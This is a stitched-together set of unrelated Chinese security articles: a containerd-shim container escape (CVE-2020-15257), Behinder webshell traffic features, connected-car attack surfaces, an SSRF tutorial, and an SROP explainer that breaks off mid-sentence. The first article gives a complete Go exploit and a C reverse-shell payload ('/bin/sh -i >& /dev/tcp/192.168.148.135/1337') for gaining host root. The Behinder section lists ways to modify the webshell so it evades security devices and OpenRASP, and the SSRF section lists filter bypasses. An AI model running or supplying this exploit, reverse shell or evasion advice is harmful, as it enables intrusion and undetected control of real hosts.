7:cpu,cpuacct:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
6:blkio:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
5:memory:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
4:hugetlb:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
3:rdma:/
2:freezer:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
1:name=systemd:/docker/59ff2a350d6128188306ed648372570989866a75a4c1c56afd6f675a39d28f77
0::/system.slice/containerd.service
利用过程如下：
（1）编写nc代码并编译，放在docker的根目录下：
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("/bin/sh -i >& /dev/tcp/192.168.148.135/1337 0>&1");
return 0;
}
（2）在docker 里面获取容器的存储目录，docker的根目录对应host上的路径为：
/var/lib/docker/overlay2/48f9caf0a731807f71c7277e8dfaeef58adb7c8f9b6180facdb3868bf1944a92/merged
（3）利用shim的Create api
来调用（2）路径中存放的nc程序，就会执行nc连接到另一台机器192.168.148.135，反弹shell，得到host的root权限，完成虚拟机逃逸。
效果如下：
**docker：**
**host：**
**另一台机器192.168.148.135：**
**需要注意的是** ：执行binary:///bin/sh?-c= 这样的IO进程，要求ttrpc 连接必须要有一个containerd
命名空间，可以通过以下代码绕过该检查：
md := ttrpc.MD{}
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)
漏洞利用代码：
package main
import (
"context"
"errors"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
"github.com/containerd/ttrpc"
shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
)
func getDockerID() (string, error) {
re, err := regexp.Compile("pids:/docker/.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/proc/self/cgroup")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find docker id")
}
tmp_docker_id := matches[0]
docker_id := string(tmp_docker_id[13 : len(tmp_docker_id)])
return docker_id, nil
}
func getMergedPath() (string, error) {
re, err := regexp.Compile("workdir=.*")
if err != nil {
return "", err
}
data, err := ioutil.ReadFile("/etc/mtab")
matches := re.FindAll(data, -1)
if matches == nil {
return "", errors.New("Cannot find merged path")
}
tmp_path := matches[0]
path := string(tmp_path[8 : len(tmp_path)-8])
merged := path + "merged/"
return merged, nil
}
func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}
func exp(sock string, docker_id string, payload_path string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}
client := ttrpc.NewClient(conn)
shimClient := shimapi.NewShimClient(client)
ctx := context.Background()
md := ttrpc.MD{}
md.Set("containerd-namespace-ttrpc", "notmoby")
ctx = ttrpc.WithMetadata(ctx, md)
/* // poc get shim pid
info, err := shimClient.ShimInfo(ctx, &types.Empty{})
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.ShimPid)
*/
r, err := shimClient.Create(ctx, &shimapi.CreateTaskRequest{
ID: docker_id,
Bundle: "/run/containerd/io.containerd.runtime.v1.linux/moby/"+docker_id+"/config.json",
Runtime : "io.containerd.runtime.v1.linux",
Stdin: "anything",
//Stdout: "binary:///bin/sh?-c=cat%20/proc/self/status%20>/tmp/foobar",
Stdout: "binary:///bin/sh?-c="+payload_path+"nc",
Stderr: "anything",
Terminal : false,
Checkpoint : "anything",
})
if err != nil {
log.Println(err)
return false
}
log.Println(r)
return true
}
func main() {
matchset := make(map[string]bool)
socks, err := getShimSockets()
docker_id, err := getDockerID()
log.Println("find docker id:", docker_id)
merged_path, err := getMergedPath()
log.Println("find path:", merged_path)
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname, docker_id, merged_path) {
break
}
}
return
}
## 参考链接
<https://mp.weixin.qq.com/s/WmSaLPnG4o4Co1xRiYCOnQ>
<https://www.openwall.com/lists/oss-security/2020/11/30/6>
<https://medium.com/nttlabs/dont-use-host-network-namespace-f548aeeef575>
<https://github.com/Xyntax/CDK/wiki/Evaluate:-Net-Namespace>
<https://research.nccgroup.com/2020/11/30/technical-advisory-containerd-containerd-shim-api-exposed-to-host-network-containers-cve-2020-15257/>
<https://www.cnblogs.com/andy9468/p/11527226.html>
Poc :<https://github.com/summershrimp/exploits-open/tree/9f2e0a28ffcf04ac81ce9113b2f8c451c36fe129/CVE-2020-15257>
安装特定版本的docker：<https://www.cnblogs.com/it-tsz/p/12133508.html>
<https://download.docker.com/linux/static/stable/x86_64/>
<https://twitter.com/bestswngs/status/1334867563914915840>
<https://bestwing.me/CVE-2020-15257-anaylysis.html>
<https://mp.weixin.qq.com/s/8Zel4oPXdctUE1kotti8Yw>
[https://github.com/crosbymichael/dockercon-2016/blob/master/Creating%20Containerd.pdf](https://github.com/crosbymichael/dockercon-2016/blob/master/Creating
Containerd.pdf)
[https://www.youtube.com/watch?v=xVVRA9rivB4&feature=youtu.be](https://www.youtube.com/watch?v=xVVRA9rivB4&feature=youtu.be)
<https://blog.golang.org/protobuf-apiv2>
利用分析：
<https://research.nccgroup.com/2020/12/10/abstract-shimmer-cve-2020-15257-host-networking-is-root-equivalent-again/>
<https://www.cdxy.me/?p=837> | 社区文章 |
Author：KimJun@深信服西部天威战队
# 0x00 V2版本
## 1\. 项目
github项目：<https://github.com/rebeyond/Behinder/releases/>
V2 源码：<https://github.com/hktalent/afterLoader>
## 2\. 流量分析
执行流程图：
1. 首次连接一句话服务端时，客户端首先向服务器端发起GET请求，只有一个参数，格式为?pass=123形式，服务器端随机产生一个128位的密钥，把密钥回显给客户端，同时把密钥写进服务器侧的Session中
2. 客户端获取密钥后，后面的请求都为POST请求，对本地的二进制payload先进行AES加密然后base64编码，再通过POST请求发送至服务器端。正常的网站接口或者页面中，一般是响应的html代码或者json，冰蝎2响应的数据则为经过AES加密的二进制数据，所以Content-Type均为 : application/octet-stream
## 3\. 特点
1. 服务器端动态解析二进制class文件
2. 客户端已编译类的参数化：使用ASM框架来动态修改class文件中的属性值，动态生成经过参数化的payload class
## 4\. 流量特征
1. GET请求的 HTTP 响应包中Content-Length字段的值是固定的16，同时URI只有一个参数，key-value型参数
2. 默认的 Accept 字段较为特殊 text/html, image/gif, image/jpeg, _; q=.2,_ /*; q=.2
3. UserAgent字段内置了十余种比较老的User Agent，每次连接shell会随机选择一个进行使用
4. JSP类型的webshell，POST请求体数据均为base64编码，Content-Type为application/octet-stream，响应体数据均为二进制文件
5. 执行JSP webshell，一般较短的命令Content-Length都是9068
# 0x01 V3版本
## 1\. 项目
github项目：<https://github.com/rebeyond/Behinder/releases/>
V3 源码：<https://github.com/MountCloud/BehinderClientSource>
## 2\. 流量分析
冰蝎3和2相比，最重要的变化就是去除动态密钥协商机制，采用预共享密钥，全程无明文交互，密钥格式为md5("admin")[0:16]，其余的都差不多
这里还要提到一点，当客户端第一次调用ShellService�#doConnect�方法连接webshell失败，会调用Utils#getKeyAndCookie�方法发送Get请求连接协商秘钥，猜测作者可能是为了兼容2版本的webshell，也算是一个特征点
## 3\. 特点
1. 去除动态密钥协商机制
## 4\. 流量特征
1. 流量特征其实也V2版本类似，同样内置了十余种比较老的User Agent，POST请求体数据均为base64编码
2. 存在GET请求，同时URI只有一个key-value类型参数
# 0x02 V4版本
## 1\. 项目
github项目：<https://github.com/rebeyond/Behinder/releases/>
V4 源码：<https://github.com/MountCloud/BehinderClientSource>
## 2\. 流量分析
1. 本地选择加密算法，生成服务端Webshell，加密算法对Payload进行加密，然后数据通过POST请求发送给远程服务端
2. 服务端收到Payload密文后，利用解密算法进行解密
3. 服务端执行解密后的Payload，并获取执行结果
4. 服务端对Payload执行结果进行加密，然后返回给本地客户端
5. 客户端收到响应密文后，利用解密算法解密，得到响应内容明文
## 3\. 特点
1. 允许自定义加密解密协议
## 4\. 流量特征
1. 采用默认aes加密协议情况下流量特征与V2、V3类似
# 0x03 安全设备检测原理图
某盟UTS：
# 0x04 魔改思路
针对不同安全产商设备的检测原理，整理了以下几种魔改思路：
1. 加密解密算法，除了默认的AES，可以使用DES、3DES、TDEA、Blowfish、Twofish、RC2、RC4、RC5、IDEA、SKIPJACK等对称加密算法
2. 去除base64编码特征，请求体和响应体数据随机产生不定长度的额外字节数组
3. 去除请求头User-Agent、Accept、Referer、Content-type等特征
4. 请求包以json格式参数，响应体数据返回json格式或者html格式，数据可以拆散隐藏在html标签中
5. 修改请求协议，使用HEAD协议，长度较小的paylaod放到header执行，Shell返回404，响应数据通过ceye类似接口进行中转/服务器可访问的目录图片中转
6. 客户端不定时发送不定长度的垃圾数据
7. 基于sessionID生成密钥、payload参数名、分隔符等
8. 使用Java底层函数绕OpenRASP
9. webshell免杀
## 参考
<https://xz.aliyun.com/t/2744#toc-5>
<https://mp.weixin.qq.com/s/EwY8if6ed_hZ3nQBiC3o7A> | 社区文章 |
# 初识智能网联汽车安全
##### 译文声明
本文是翻译文章，文章原作者 Parad0x，文章来源：Tide安全团队
原文地址：<https://mp.weixin.qq.com/s/KRiPVuG0bJZlMwgUU97X2Q>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00前言
前段时间报名了车联网赛事，但之前对车联网安全接触甚少，在比赛前准备过程中突击学习了一下车联网安全相关知识，内容比较浅，本文意为科普文章，敬请各位大佬斧正。
## 0x01车联网常见部件简介
#### 1、T-BOX系统
Telematics BOX，简称汽车T-BOX,，即远程信息处理器，主要用于车与车联网服务平台之间通信，集成了OBD、MCU/CPU、FLASH、SENSOR、GPS、3G/4G、WiFi/蓝牙等模块。对内与车载
CAN 总线相连，实现指令和信息的传递；对外通过云平台与手机/PC 端实现互联，车内外信息交互的纽带其主要功能是为汽车提供网络连接，下图为某T-BOX厂家产品。
T-B0X可实现车辆远程控制、远程查询、安防服务等功能，如远程控制车门、车窗、空调等开启;远程车辆定位、查询车况信息;车辆异动报警紧急救援求助等。T-B0X
为人们生活提供了越来越多的便利和安全保障，同时也为汽车带来了更多的信息安全隐患。
#### 2、CAN&CANBus
CAN（Controller Area
Network）即控制器局域网，是一种能够实现分布式实时控制的串行通信网络。CAN有很多优秀的特点，使得它能够被广泛的应用。比如：传输速度最高到1Mbps，通信距离最远到10km，无损位仲裁机制，多主结构。
CANBus就是ControLLer Area Net-work
Bus是由以研发和生产汽车电子产品著称的德国BOSCH公司开发的，并最终成为国际标准（ISO
11898），是国际上应用广泛的现场总线之一。是制造厂中连接现场设备（传感器、执行器、控制器等）、面向广播的串行总线系统，最初开发用于汽车工业，后来也应用于工业自动化。
#### 3、OTA
OTA（over the
air），是一项基于短消息机制的远程更新技术，即终端通过无线或蜂窝网络的接口与服务器连接来实现对本地设备数据的更新，具体是指通过服务器、移动通信网络和终端等的网络连接，最终实现终端内存储数据的更新，进而改善终端的功能和服务作用。
一般来说，汽车 OTA 又分为 SOTA 和 FOTA 两种升级方式：
FOTA（Firmware-over-the-air，固件在线升级），指的是给一个设备、ECU
闪存下载完整的固件镜像，或者修补现有固件、更新闪存，用户也可以通过特定的刷新程序进行 FOTA 升级，影响的是动力系统、电池管理系统等。
SOTA（Software-over-the-air，软件在线升级）。那些看上去离使用者更近的应用程序和地图 OTA，都属于 SOTA
的范畴，如应用程序（App）、车载地图、人机交互界面等功能。
#### 4、IVI
IVI的全称为（In-Vehicle
Infotainment），即“车载信息娱乐系统”。该部分是车主可以直观接触到的部分，车内中控屏，音响，空调，甚至仪表盘都可以连接到IVI中。
第一代的IVI提供控制空调，查看里程/燃油，提示手刹/车门于车辆本身直接相关的功能，其实现方式是通过IVI中的CAN芯片向CAN总线或LIN总线发送特定指令实现。
第二代IVI中在功能上更加内聚，其主要负责处理与用户的直接交互（通过触摸屏或车载中控台）和WIFI，FM，GPS等信号的处理。
第二代IVI中自身只实现UI，多媒体等功能，而运营商网络上网功能及与下发控车指令（这里的控车指令是指用户在车内控制空调，车座等）的功能则已交到Tbox处理，这使IVI功能更集中。
#### 5、ECU
ECU（Electronic Control
Unit）电子控制器单元，又称为汽车的“行车电脑”，它们的用途就是控制汽车的行驶状态以及实现其各种功能。主要是利用各种传感器、总线的数据采集与交换，来判断车辆状态以及司机的意图并通过执行器来操控汽车。
ECU根据不同的功能，区分为不同的类型，此处仅简介常见的ECU：
传统燃油车上电控单元主要存在于汽车的三大件上。
1）发动机管理系统（EMS）：通过控制进气、喷油、点火实现发动机动力性、经济性、排放等性能的均衡，整车的扭矩解析功能集成在于EMS。
2）变速箱控制单元（TCU）：通过电磁阀控制油压，实现离合器自动接合或者分离，在合适的时机完成档位切换，提高车辆的动力性、经济性、平顺性。
3）电动助力转向（EPS）：通过电机辅助驾驶员进行转向，降低驾驶难度。
车身稳定控制（ESC）：集合了TCS、ABS、ESC等功能，通过控制轮端制动力实现车辆的稳定行驶。
主动悬挂系统（MRC）：控制电磁阀调节悬挂系统高度或阻尼，提高车辆行驶稳定性、舒适性。
新能源车由于动力系统的变化，电控单元有所变化和增加（这里以混动车为例）。
1）整车控制器（VCU）：吸收了传统车上的扭矩解析功能，在加上混动车特有的能量管理、高压管理等等功能，形成一个整车控制的枢纽，协调各控制单元配合工作。
2）混动变速箱（TCU）：混动变速箱相比于传统变速箱，结构有所变化，往往会集成1个或2个电机，实现串联、并联或功率分流模式，主要通过电机、离合器的配合工作，实现模式的切换。
3）电池管理系统（BMS）：主要包括状态监控、高低压控制、充放电控制、SOC估算、电池均衡等功能，实现电池安全高效运行。
4）电机控制器（DCU）：通过控制逆变器的输出电流，实现电机扭矩的精确稳定控制。
5）交流充电机（OBC）：将220V交流电经过整流变成直流，再经过DCDC变换后给电池充电。
6）电动助力制动（Ibooster）：新能源汽车为了尽可能多的实现能量回收，开发了电动助力制动系统，辅助驾驶员进行制动助力，也能在小范围内实现制动解耦，提高能量回收效率。
####
#### 6、车载网关
车载网关为各网段ECU提供报文路由转发服务,与车内所有ECU均有数据交互，有些网关还承担OTA升级的主刷控制器功能，车载网关通过不同网络间的物理隔离和不同通信协议间的转换，在各个共享通信数据的功能域，如动力总成域、底盘和安全域、车身控制域、信息娱乐域、远程信息处理域、高级驾驶辅助系统(Advanced
Driving Assistance System，ADAS)域之间进行信息交互。
汽车网关是整车电子电器架构的核心部件，可通过控制器局域网络(Controller Area Network，CAN)
协议与车内其它ECU进行交互，是车内网络的数据交互枢纽。
## 0X02车联网漏洞攻击面
#### 2020车联网信息安全十大风险
参考中汽数据梳理总结的2020车联网信息安全十大风险如下图所示：
相较于2019车联网安全风险TOP来说，不安全的生态接口问题仍然占据第一位置，总占比约25%，系统固件可被提取及逆向问题由2019年年的第六名，提升到了今年的第五名，总占比约10%，已知漏洞的组件问题
在排名由第七名上升到第六名，总占比约9%，车载网络未做安全隔离问题由第五名下降到第七名，总占比约7%。
智能网联汽车（ICV，intelligent connected vehicle）安全已经引起了大量研究人员的关注，他们已在相关方面取得了显著成果。
如Enev利用机器学习算法，对汽车控制器局域网络（CAN， controller area
network）总线数据进行特征提取，实现对汽车驾驶员的身份识别，证明了用户隐私存在被泄露的风险。
腾讯科恩安全实验室研究员远程入侵了特斯拉汽车的网关、车身控制模块（BCM）和自动驾驶控制单元，证明了汽车中存在很多安全隐患。
Zeng等使用便携式GPS欺骗器实现了非法篡改车辆的GPS路线，严重威胁了车载GPS安全。
Miller等在DEFCON会议中指出，ICV中存在大量可被利用的攻击面，如远程无钥匙进入（RKE，remote keyless entry）、蓝牙、Wi-Fi、车载资讯系统、互联网、APP等，都有可能使用户隐私泄露，甚至导致车辆被远程控制。
## 汽车的攻击面
APP和云平台风险方面可以归为常规性安全风险，目前测试体系较为完善，不再一一赘述，仅对部分零部件作为简单介绍。
### T-BOX
1、固件逆向，攻击者通过逆向分析 T-BOX 固件，获取加密算法和密钥，解密通信协议，重放篡改指令
2、利用调试口访问无身份校验漏洞，通过焊接的方式连接调试线，车载T-BOX可深度读取汽车Can总线数据和私有协议，从硬件层获取shell，导致信息泄露问题。
3、固件后门：TBox的固件刷写功能是由IVI提供，在TBox刷入固件首先要在整体升级包中分离出TBox的固件包，并将后门文件写入到固件包中。
4、网络劫持：TBox通常会支持2G/3G/4G，所以基于GSM或LTE的伪基站都可以劫持TBox的网络连接，劫持T-BOX会话，通过伪造
协议实施对车身控制域、汽车动力总成域等的远程控制。
### IVI
1、硬件调试接口：观察主板的MCU型号及引脚信息，可以通过焊接连接调试线，从硬件层获取shell。
2、通过内置浏览器访问恶意页面，安装任意应用程序。
3、拒绝服务攻击:利用恶意程序大量耗费系统内存，使其无法正常提供服务。
4、刷入后门：如果获取了刷写系统固件的权限，可以直接将后门程序通过刷写固件的方式写入系统中，如开机启动脚本、dropbear、msf后门等。
### OTA风险
1、升级包中间人攻击：OTA升级功能，测试过程中可以通过拦截或者抓取流量包，修改后重新发送。
2、欺骗攻击，同第一个类似，类似于伪造升级包发送给车端。
### 无线电测试风险
这个类似于常规的无线电测试，指对汽车智能无线钥匙、蓝牙、WIFI、GPS和胎压监测单元等车载无线电组件进行的渗透包括但不限于干扰测试，一般包括信号屏蔽、信号篡改、中间人攻击、蓝牙劫持、蓝牙嗅探、信号截取、重放攻击等技术手段。
### CAN风险
**1、CAN报文重放**
利用录制的CAN报文进行重放，在未接触并操作车辆实际物理操作界面的情况下，实现对车辆的相关控制与操作。
**2、CAN 模糊测试**
利用CAN报文模糊测试并暴力破解数据位控制指令，通过得到的数据位控制指令进行车辆控制及操作。
（1）报文过滤绕过：CAN总线会针对TBox发送的报文进行过滤操作，通常是基于CAN ID及CAN Data的头部字节，测试时可以针对相关字段进行模糊测试。
（2）绕过状态检查：CAN总线中的ECU在执行指令之前会进行状态检查，如车辆是否在行驶中档位设置等，绕过检查并执行恶意报文会产生更大的破坏，漏洞也更严重。
（3）拒绝服务：测试工具通过随机生成大量数据，将数据发送给车辆，可以通过发送大量伪造报文来进行拒绝服务攻击。
## 小结
总体来说，本文虽然查阅了很多资料，但本身对智能网联汽车安全方面的积累太少，很多地方精彩的地方只能粗略的一笔带过，同时可能部分地方知识点存在错误，烦请大佬斧正。
## 参考致谢
https://zhuanlan.zhihu.com/p/48700348
https://mp.weixin.qq.com/s/Z8MHFHu-tgN6rIepEjm3tg
http://www.infocomm-journal.com/wlw/article/2019/2096-3750/2096-3750-3-4-00072.shtml
https://mp.weixin.qq.com/s/Pbru2pe-KeptQ909w4pk9w
https://zhuanlan.zhihu.com/p/24217391
https://mp.weixin.qq.com/s/BYsJaGNtJTLMBsNmciOxTA
http://m.elecfans.com/article/1137205.html
https://www.sohu.com/a/331837371_476857
http://www.infocomm-journal.com/wlw/article/2019/2096-3750/2096-3750-3-4-00072.shtml
https://mp.weixin.qq.com/s/IjZ4HmCDMjnj2z5zcVBxWg
## 关于我们
Tide安全团队正式成立于2019年1月，是新潮信息旗下以互联网攻防技术研究为目标的安全团队，团队致力于分享高质量原创文章、开源安全工具、交流安全技术，研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室，近三年来在网络安全技术方面开展研发项目60余项，获得各类自主知识产权30余项，省市级科技项目立项20余项，研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。 | 社区文章 |
### 0x00 定义与成因
SSRF(Server-Side Request Forgery:服务器端请求伪造)
是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下，SSRF攻击的目标是从外网无法访问的内部系统。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）
SSRF
形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等。
注释：除了http/https等方式可以造成ssrf，类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务，只不过危害比较小而已。
### 0x01 可能出现的地方
1.社交分享功能：获取超链接的标题等内容进行显示
2.转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译：给网址翻译对应网页的内容
4.图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过URL地址加载或下载图片
5.图片/文章收藏功能：主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
6.云服务厂商：它会远程执行一些命令来判断网站是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试
7.网站采集，网站抓取的地方：一些网站会针对你输入的url进行一些信息采集工作
8.数据库内置功能：数据库的比如mongodb的copyDatabase函数
9.邮件系统：比如接收邮件服务器地址
10.编码处理, 属性信息处理，文件处理：比如ffpmg，ImageMagick，docx，pdf，xml处理器等
11.未公开的api实现以及其他扩展调用URL的功能：可以利用google 语法加上这些关键字去寻找SSRF漏洞
一些的url中的关键字：share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12.从远程服务器请求资源（upload from url 如discuz！；import & expost rss feed 如web
blog；使用了xml引擎对象的地方 如wordpress xmlrpc.php）
### 0x02 漏洞验证
1.排除法：浏览器f12查看源代码看是否是在本地进行了请求
比如：该资源地址类型为 <http://www.xxx.com/a.php?image=（地址）的就可能存在SSRF漏洞>
2.dnslog等工具进行测试，看是否被访问
\--可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64，这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的，如果不是客户端发出的请求，则有可能是，接着找存在HTTP服务的内网地址
\--从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
\--通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner、title、content等信息
5.留意bool型SSRF
### 0x03 利用方式
1.让服务端去访问相应的网址
2.让服务端去访问自己所处内网的一些指纹文件来判断是否存在相应的cms
3.可以使用file、dict、gopher[11]、ftp协议进行请求访问相应的文件
4.攻击内网web应用（可以向内部任意主机的任意端口发送精心构造的数据包{payload}）
5.攻击内网应用程序（利用跨协议通信技术）
6.判断内网主机是否存活：方法是访问看是否有端口开放
7.DoS攻击（请求大文件，始终保持连接keep-alive always）
### 0x04 绕过小技巧
注：参考[8]会有更详细的绕过方式总结
1.<http://[email protected]/与http://www.baidu.com/请求时是相同的>
2.各种IP地址的进制转换
3.URL跳转绕过：<http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/>
4.短网址绕过 <http://t.cn/RwbLKDx>
5.xip.io来绕过：<http://xxx.192.168.0.1.xip.io/> == 192.168.0.1 (xxx 任意）
指向任意ip的域名：xip.io(37signals开发实现的定制DNS服务)
6.限制了子网段，可以加 :80
端口绕过。<http://tieba.baidu.com/f/commit/share/openShareApi?url=http://10.42.7.78:80>
7.探测内网域名，或者将自己的域名解析到内网ip
8.例如 <http://10.153.138.81/ts.php> , 修复时容易出现的获取host时以/分割来确定host，
但这样可以用 <http://[email protected]/> 绕过
### 0x05 漏洞示例
1.Wordpress3.5.1以下版本 xmlrpc.php pingback的缺陷与ssrf
2.discuz！的ssrf （利用php的header函数来绕过，其实就是302跳转实现协议转换）
3.weblogic的ssrf
### 0x06 漏洞修复
1.禁止跳转
2.过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3.禁用不需要的协议，仅仅允许http和https请求。可以防止类似于file://, gopher://, ftp:// 等引起的问题
4.设置URL白名单或者限制内网IP（使用gethostbyname()判断是否为内网IP）
5.限制请求的端口为http常用的端口，比如 80、443、8080、8090
6.统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。
### 0x07 漏洞利用中牵涉的小技巧
crontab -l 显示当前计划任务
crontab -r 清除当前计划任务
端口转发工具 socat
在Apache配置文件中写入下面的内容，就可以将jpg文件当做PHP文件来执行
AddType application/x-httpd-php .jpg
……
### 0x08 相关材料
[1]<http://blog.safebuff.com/2016/07/03/SSRF-Tips/>
[2]<https://paper.seebug.org/393/>
[3]<https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF>
[4]<http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html>
[5]<https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51>
[6]<http://byd.dropsec.xyz/2017/06/04/SSRF%E6%BC%8F%E6%B4%9E%E5%89%96%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/>
[7]<https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html>
[8]<https://www.secpulse.com/archives/65832.html>
[9]<https://www.cnblogs.com/s0ky1xd/p/5859049.html>
[10]<https://www.t00ls.net/articles-41070.html>
[11]<https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2>
[12]<https://ricterz.me/posts/HITCON%202017%20SSRFme>
[13]<http://bobao.360.cn/learning/detail/240.html>
[14]<https://github.com/JnuSimba/MiscSecNotes/tree/master/%E6%9C%8D%E5%8A%A1%E7%AB%AF%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0>
[15]<https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork
--20160711.pdf>
### 0x09 后记
这篇是我整理了之前的一篇笔记，这篇笔记中没有给出案例。后面有空了也会把自己的一些案例笔记整理下。
from:zeroyu.xyz | 社区文章 |
# SROP攻击原理及例题解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近阅读了有关SROP的知识，让我对SROP攻击有了一定理解，但总觉得参考材料中给出的例题解释还是不够详细，需要做进一步解释，才好让更多小伙伴理解SROP的具体攻击原理。所以，这篇文章我想向大家详细介绍一下SROP的具体攻击原理，也想同时结合着一道CTF题目，从静态分析到动态跟踪，让大家对SROP有一个实战级的认识，顺带展示频繁交互的动态调试大概是怎样的。首先，先放三条我啃过的背景知识，各位小伙伴可以尝试直接去看，也可先看我的这篇文章对SROP攻击思路的整理，互为补足：
[1\. SROP exploit](https://xz.aliyun.com/t/5240)
[2\. Sigreturn Oriented Programming (SROP)
Attack攻击原理](https://www.freebuf.com/articles/system/articles/network/87447.html)
[3\. CTF wiki SROP](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/)
本文建立于上述三篇文章之上，着重梳理两个方面内容：1. SROP背景知识及攻击路线。 2. 结合例题进行实操演示讲解。废话不多说，开讲：
SROP全称为Sigreturn Oriented Programming，其攻击核心为通过伪造一个‘Signal
Frame’（以下简称sigFrame）在栈上，同时触发sigreturn系统调用，让内核为我们恢复一个sigFrame所描述的进程，如一个shell、一个wrtie系统调用打印栈地址等，同时通过对sigFrame中rsp和rip的修改，连接多个sigFrame，可通过多次触发sigreturn系统调用，依次恢复多个sigFrame，实现不同的功能，构成SROP攻击。一个sigFrame可理解为一个进程被挂起时，用于保存进程的数据结构，当进程恢复时，通过触发sigreturn来恢复sigFrame，从而恢复一个进程。
SROP漏洞之所以能构成利用，是因为内核挂起某进程时保存的sigFrame和内核恢复某进程还原sigFrame的两个sigFrame，通过对栈指针寄存器sp的控制，不一致，从而还原出一个攻击者想要的进程。
以上为关于SROP的总的介绍，看不懂没关系，下面开始一点点讲解：
首先一个进程P从接收到一个signal到恢复进程P执行，正常情况下会经历如下过程：
1\.
进程P接收到发来的signal，内核为其保存上下文为sigFrame，然后被内核挂起。其中sigFrame的顶部8字节（64位机器字长）或4字节（32位机器字长），会被内核设置为rt_sigreturn。rt_sigreturn为sigFrame顶部第一个机器字长区域的名称，其内容为sigreturn系统调用代码的地址，简单说，rt_sigreturn处的内容指向sigreturn系统调用代码。当后续恢复时，栈指针寄存器sp会直接指向sigFrame的顶部。sigFrame结构如下图：
如上为64位机器字长机器的sigFrame结构，可见其头8字节为rt_sigreturn，指向着sigreturn系统调用代码。
2\. 用户态的Signal Handler函数出马，对进程P接收到的signal进行处理，具体怎么处理的我们不用关系，和SROP攻击无关。
3\. 当Signal
Handler函数处理完signal后，栈指针寄存器sp（64位是rsp，32位是esp）会指向进程P之前保存的sigFrame的栈顶，即rt_sigreturn所在的位置。
4\. Signal
Handler函数最后一个指令是ret，会将3中栈指针寄存器sp指向的rt_sigreturn中的内容，“pop”给指令寄存器ip（64位是rip，32位是eip，这里用pop是想说此时sp也会加一个机器字长，即指向rt_sigreturn内存地址加一个机器字长的位置，根据上图，64位sp此时应指向uc_flags），此时指令寄存器ip处在sigreturn系统调用代码的位置，触发sigreturn系统调用。这样，sigreturn会根据sigFrame中的内容将进程P恢复原状，让P继续执行。
以上，一切看着都挺好的，但是 2014 年 Vrije Universiteit Amsterdam 的 Erik Bosman
指出，是否可以在进程P的sigFrame被sigreturn系统调用恢复前，做点手脚，让sigreturn恢复一个攻击者伪造的sigFrame，然后出发sigreturn调用，从而恢复出另外一个恶意进程出来。
事实证明，这种想法是可以做到的，我们接着聊。明确两点：
1\. sigFrame是完全在用户空间的，进程P可读可写，这就有了攻击者动手脚的空间。
2\.
就是SROP漏洞最根本的，内核对进程P挂起时保存的sigFrame以及恢复时还原的sigFrame没有做任何关联，也就给了攻击者通过伪造sigFrame的方式，让sigreturn系统调用恢复出一个恶意进程的机会。
我们首先伪造sigFrame如下：
1\. 使其中rax=59（execve的系统调用号，rax寄存器既用来保存返回值，也用来保存系统调用号，这个我们后面细说）。
